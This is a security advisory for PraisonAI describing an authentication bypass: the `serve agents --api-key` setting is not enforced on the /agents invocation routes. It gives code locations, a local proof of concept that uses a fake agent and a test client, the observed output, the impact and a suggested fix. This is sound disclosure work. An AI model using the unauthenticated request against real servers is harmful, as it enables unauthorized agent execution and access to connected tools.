GHSA-7ww9-85pg-cv4x

### Summary PraisonAI's `praisonai serve agents` command exposes `--api-key` as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints. An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network- reachable caller can still invoke agents through `POST /agents` or `POST /agents/ {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential. Confirmed vulnerable: - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e66b929149ca2201f1d` - v4.6.34 / commit `e5928449f73f66cc8af1de61621aa974ab255133` Likely affected range: `>= 4.6.34, <= 4.6.48`. This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask `api_server.py` path before 4.6.34. This report concerns the newer FastAPI `serve agents --api-key` code path and is confirmed in v4.6.48. ### Details The CLI accepts and forwards an API key: - `src/praisonai/praisonai/cli/commands/serve.py:156` defines `praisonai serve agents` - `src/praisonai/praisonai/cli/commands/serve.py:162` exposes `--api-key` - `src/praisonai/praisonai/cli/commands/serve.py:175-176` forwards the supplied key - `src/praisonai/praisonai/cli/features/serve.py:191` handles the `agents` subcommand - `src/praisonai/praisonai/cli/features/serve.py:199` parses `api_key` into the config However, `_create_agents_app()` never uses `config["api_key"]` to create middleware or a FastAPI auth dependency: - `src/praisonai/praisonai/cli/features/serve.py:228` creates the FastAPI app - `src/praisonai/praisonai/cli/features/serve.py:287` registers `POST {path}` with no auth dependency - `src/praisonai/praisonai/cli/features/serve.py:346` registers `POST /agents/{agent_name}` with no auth dependency - `src/praisonai/praisonai/cli/features/serve.py:356-370` executes the registered agent directly The same app also mounts `praisonai.api.agent_invoke`, whose `/api/v1/agents/{agent_id}/ invoke` route is protected separately by `CALL_SERVER_TOKEN`. That means the protected `/ api/v1` route and the unauthenticated `/agents` compatibility routes coexist in the same server. Setting `--api-key` does not protect the compatibility routes. ### PoC This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real `ServeHandler._create_agents_app()` path with `api_key` set, registers a fake agent, and sends an unauthenticated request using FastAPI `TestClient`. ```python #!/usr/bin/env python3 from __future__ import annotations import sys import tempfile from pathlib import Path REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ] class FakeAgent: def __init__(self): self.calls = [] def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}" def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke with tempfile.TemporaryDirectory() as tmp: agents_yaml = Path(tmp) / "agents.yaml" agents_yaml.write_text( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", ) handler = ServeHandler() app = handler._create_agents_app( { "file": str(agents_yaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "operator-secret-api-key", } ) fake_agent = FakeAgent() agent_invoke.register_agent("poc", fake_agent) client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, ) print(f"STATUS_CODE={response.status_code}") print(f"RESPONSE_JSON={response.json()!r}") print(f"AGENT_CALLS={fake_agent.calls!r}") print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated request']}") if __name__ == "__main__": main() Run: cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py Observed output: STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True The important condition is that the app was configured with: "api_key": "operator-secret-api-key" but the request was sent without any auth header: client.post("/agents/poc", json={"query": "unauthenticated request"}) The agent still executed and returned HTTP 200. ### Impact Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key. Impact depends on the configured agents and their tools, but can include: - unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations. This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly. ### Suggested fix Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app. Recommended changes: - In _create_agents_app(), derive an auth dependency from config.get("api_key"). - Apply it to both POST {path} and POST /agents/{agent_name}. - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for compatibility. - Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agent_name} are covered.